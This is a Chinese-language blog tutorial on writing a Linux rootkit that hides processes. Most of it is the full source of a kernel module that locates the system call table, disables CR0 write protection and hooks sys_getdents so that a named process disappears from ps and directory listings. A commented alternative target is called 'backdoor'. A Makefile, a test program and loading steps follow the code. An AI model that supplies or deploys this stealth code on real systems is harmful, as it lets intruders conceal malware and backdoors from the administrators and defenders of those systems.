• rootkit:实现隐藏进程


    实现隐藏进程一般有两个方法:

    1,把要隐藏的进程PID设置为0,因为系统默认是不显示PID为0的进程。

    2,修改系统调用sys_getdents()。

         Linux系统中用来查询文件信息的系统调用是sys_getdents,这一点可以通过strace来观察到,例如strace ls 将列出命令ls用到的系统调用,从中可以发现ls是通过getdents系统调用来操作的,对应于内核里的sys_getedents来执行。当查询文件或者目录的相关信息时,Linux系统用 sys_getedents来执行相应的查询操作,并把得到的信息传递给用户空间运行的程序,所以如果修改该系统调用,去掉结果中与某些特定文件的相关信 息,那么所有利用该系统调用的程序将看不见该文件,从而达到了隐藏的目的。首先介绍一下原来的系统调用,其原型为:
    int sys_getdents(unsigned int fd, struct dirent *dirp,unsigned int count)
    其中fd为指向目录文件的文件描述符,该函数根据fd所指向的目录文件读取相应dirent结构,并放入dirp中,其中count为dirp中返回的数据量,正确时该函数返回值为填充到dirp的字节数

    下面是具体的实现代码:

    hidep.c

      1 /*
      2   进程隐藏程序
      3 */
      4 #include <linux/module.h>
      5 #include <linux/kernel.h>
      6 #include <asm/unistd.h>
      7 #include <linux/types.h>
      8 #include <linux/sched.h>
      9 #include <linux/dirent.h>//目录文件结构
     10 #include <linux/string.h>
     11 #include <linux/file.h>
     12 #include <linux/fs.h>
     13 #include <linux/list.h>
     14 #include <asm/uaccess.h>
     15 #include <linux/unistd.h>
     18 #define CALLOFF 100
     19 int orig_cr0;
     20 char psname[10]="just";//需要隐藏的进程名
     21 //char psname[10]="backdoor";
     22 char *processname=psname;
     23 
     24 //module_param(processname, charp, 0);
     25 struct {
     26     unsigned short limit;
     27     unsigned int base;
     28 } __attribute__ ((packed)) idtr;//__attribute__ ((packed))不需要内存对齐的优化
     29 
     30 struct {
     31     unsigned short off1;
     32     unsigned short sel;
     33     unsigned char none,flags;
     34     unsigned short off2;
     35 } __attribute__ ((packed)) * idt;
     36 
     37 struct linux_dirent{//文件结构体
     38     unsigned long     d_ino;//索引节点号
     39     unsigned long     d_off;//在目录文件中的偏移
     40     unsigned short    d_reclen;//文件名长
     41     char    d_name[1];//文件名
     42 };
     43 
     44 void** sys_call_table;
     45 
     46 unsigned int clear_and_return_cr0(void)//设置CR0,取消写保护位,因为在较新的内核中,sys_call_table的内存是只读的,
     47 //所以要修改系统调用表就必须设置CR0
     48 {
     49     unsigned int cr0 = 0;
     50     unsigned int ret;
     51 
     52     asm volatile ("movl %%cr0, %%eax"
     53             : "=a"(cr0)//eax到cr0
     54          );
     55     ret = cr0;//
     56 
     57     /*clear the 16th bit of CR0,*/
     58     cr0 &= 0xfffeffff;//设置CR0,第16位,WP(Write Protect),它控制是否允许处理器向标志为只读属性的内存页写入数据,
     59     //0时表示禁用写保护功能
     60     asm volatile ("movl %%eax, %%cr0"
     61             :
     62             : "a"(cr0)//输入,cr0到eax,eax到cr0
     63          );
     64     return ret;
     65 }
     66 
     67 void setback_cr0(unsigned int val)
     68 {
     69     asm volatile ("movl %%eax, %%cr0"
     70             :
     71             : "a"(val)//val值给eax,eax的值给CR0,恢复写保护位
     72          );
     73 }
     74 
     75 
     76 asmlinkage long (*orig_getdents)(unsigned int fd,
     77                     struct linux_dirent __user *dirp, unsigned int count);
     78 
     79 char * findoffset(char *start)//遍历sys_call代码,查找sys_call_table的地址
     80 {  //也可以通过cat /boot/System.map-`uname -r` |grep sys_call_table  查看当前sys_call_table地址
     81     char *p;
     82     for (p = start; p < start + CALLOFF; p++)
     83     if (*(p + 0) == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')//寻找call指令
     84         return p;
     85     return NULL;
     86 }
     87 
     88 int myatoi(char *str)//字符串转整型
     89 {
     90     int res = 0;
     91     int mul = 1;
     92     char *ptr;
     93     for (ptr = str + strlen(str) - 1; ptr >= str; ptr--)
     94     {
     95         if (*ptr < '0' || *ptr > '9')
     96             return (-1);
     97         res += (*ptr - '0') * mul;
     98         mul *= 10;
     99     }
    100     if(res>0 && res< 9999)
    101         printk(KERN_INFO "pid=%d,",res);
    102     printk("\n");
    103     return (res);
    104 }
    105 
    106 struct task_struct *get_task(pid_t pid)//遍历进程双向循环链表,根据PID,查找需要隐藏的进程,并返回该进程控制块
    107 {
    108     struct task_struct *p = get_current(),*entry=NULL;
    109     list_for_each_entry(entry,&(p->tasks),tasks)
    110     {
    111         if(entry->pid == pid)
    112         {
    113             printk("pid found=%d\n",entry->pid);
    114             return entry;
    115         }
    116         else
    117         {
    118     //    printk(KERN_INFO "pid=%d not found\n",pid);
    119         }
    120     }
    121     return NULL;
    122 }
    123 
    124 static inline char *get_name(struct task_struct *p, char *buf)//获取进程名
    125 {
    126     int i;
    127     char *name;
    128     name = p->comm;
    129     i = sizeof(p->comm);
    130     do {
    131         unsigned char c = *name;
    132         name++;
    133         i--;
    134         *buf = c;
    135         if (!c)
    136             break;
    137         if (c == '\\') {
    138             buf[1] = c;
    139             buf += 2;
    140             continue;
    141         }
    142         if (c == '\n')
    143         {
    144             buf[0] = '\\';
    145             buf[1] = 'n';
    146             buf += 2;
    147             continue;
    148         }
    149         buf++;
    150     }
    151     while (i);
    152     *buf = '\n';
    153     return buf + 1;
    154 }
    155 
    156 int get_process(pid_t pid)//判断是否找到隐藏进程
    157 {
    158     struct task_struct *task = get_task(pid);
    159     //    char *buffer[64] = {0};
    160     char buffer[64];
    161     if (task)
    162     {
    163         get_name(task, buffer);
    164     //    if(pid>0 && pid<9999)
    165     //    printk(KERN_INFO "task name=%s\n",*buffer);
    166         if(strstr(buffer,processname))
    167             return 1;
    168         else
    169             return 0;
    170     }
    171     else
    172         return 0;
    173 }
    174 
    175 asmlinkage long hacked_getdents(unsigned int fd,
    176                     struct linux_dirent __user *dirp, unsigned int count)//修改的系统调用,替换原来的sys_getdents
    177 {
    178     //added by lsc for process
    179     long value;
    180     //    struct inode *dinode;
    181     unsigned short len = 0;
    182     unsigned short tlen = 0;
    183 //    struct linux_dirent *mydir = NULL;
    184 //end
    185     value = (*orig_getdents) (fd, dirp, count);//调用sys_getdents,返回该目录文件下目录的总字节数
    186     tlen = value;
    187     while(tlen > 0)
    188     {
    189         len = dirp->d_reclen;//当前遍历的目录的长度
    190         tlen = tlen - len;
    191         printk("%s\n",dirp->d_name);
    192 
    193         if(get_process(myatoi(dirp->d_name)) )
    194         {
    195             printk("find process\n");
    196             memmove(dirp, (char *) dirp + dirp->d_reclen, tlen);//覆盖掉需要隐藏的进程
    197             value = value - len;
    198             printk(KERN_INFO "hide successful.\n");
    199         }
    200         if(tlen)
    201             dirp = (struct linux_dirent *) ((char *)dirp + dirp->d_reclen);//移到后面一个目录,继续查找是否有其他同名的需要隐藏的进程
    202     }
    203     printk(KERN_INFO "finished hacked_getdents.\n");
    204     return value;
    205 }
    206 
    207 
    208 void **get_sct_addr(void)
    209 {
    210     unsigned sys_call_off;
    211     unsigned sct = 0;
    212     char *p;
    213     asm("sidt %0":"=m"(idtr));//获取中断描述符表地址
    214     idt = (void *) (idtr.base + 8 * 0x80);//通过0x80中断找到system_call的服务例程描述符项,一个中断描述符8个字节
    215     sys_call_off = (idt->off2 << 16) | idt->off1;//找到对应的system_call代码地址
    216     if ((p = findoffset((char *) sys_call_off)))//找到sys_call_table的地址
    217         sct = *(unsigned *) (p + 3);
    218     return ((void **)sct);
    219 }
    220 
    221 
    222 static int filter_init(void)
    223 {
    224     sys_call_table = get_sct_addr();
    225     if (!sys_call_table)
    226     {
    227         printk("get_act_addr(): NULL...\n");
    228         return 0;
    229     }
    230     else
    231         printk("sct: 0x%x\n", (unsigned int)sys_call_table);
    232     orig_getdents = sys_call_table[__NR_getdents];//保存原来的系统调用
    233 
    234     orig_cr0 = clear_and_return_cr0();//取消写保护位,并且返回原来的cr0
    235     sys_call_table[__NR_getdents] = hacked_getdents;//替换成我们自己写的系统调用
    236     setback_cr0(orig_cr0);
    237     printk(KERN_INFO "hideps: module loaded.\n");
    238                 return 0;
    239 }
    240 
    241 
    242 static void filter_exit(void)
    243 {
    244     orig_cr0 = clear_and_return_cr0();
    245     if (sys_call_table)
    246     sys_call_table[__NR_getdents] = orig_getdents;//恢复默认的系统调用
    247     setback_cr0(orig_cr0);
    248     printk(KERN_INFO "hideps: module removed\n");
    249 }
    250 module_init(filter_init);
    251 module_exit(filter_exit);
    252 MODULE_LICENSE("GPL");

    对应的makefile:

    1 KERNELDIR=/usr/src/linux-headers-3.2.0-39-generic-pae
    2 PWD:=$(shell pwd)
    3 obj-m :=hidep.o
    4 modules:
    5     $(MAKE) -C $(KERNELDIR) M=$(PWD) modules
    6 clean:
    7     rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c *.order *.symvers

    对应的测试程序,即要隐藏的进程: just.c

    1 #include<stdio.h>
    2 int main()
    3 {
    4     while(1);
    5     return 0;
    6 }

    1,编译并在后台运行程序 just.c,会发现内核给just.c随机分配了一个PID

    2,此时 用ps 命令,可以清楚看到 程序just的PID。

    2,编译hidep.c 生成模块hide.ko

    3,把模块hide.ko,用命令 insmod 加载进内核

    4,再次 用 ps 命令,发现之前的PID被隐藏

    5,最后不要忘了rmmod掉hidep.ko,当然重启后内核也会把它丢了,不过最好养成不用就卸载掉的习惯。

  • 相关阅读:
    [Linux]软件目录
    [Linux]查看Linux内核及发行版本
    [S7706]华为ACL
    [S7706]华为配置DHCP
    QML-密码管理器
    QML-AES加解密小工具
    LaTex中文article模板(支持代码、数学、TikZ)
    Memo-Tech
    VIM学习笔记
    CodeForces 674C Levels and Regions
  • 原文地址:https://www.cnblogs.com/justcxtoworld/p/3053508.html
Copyright © 2020-2023  润新知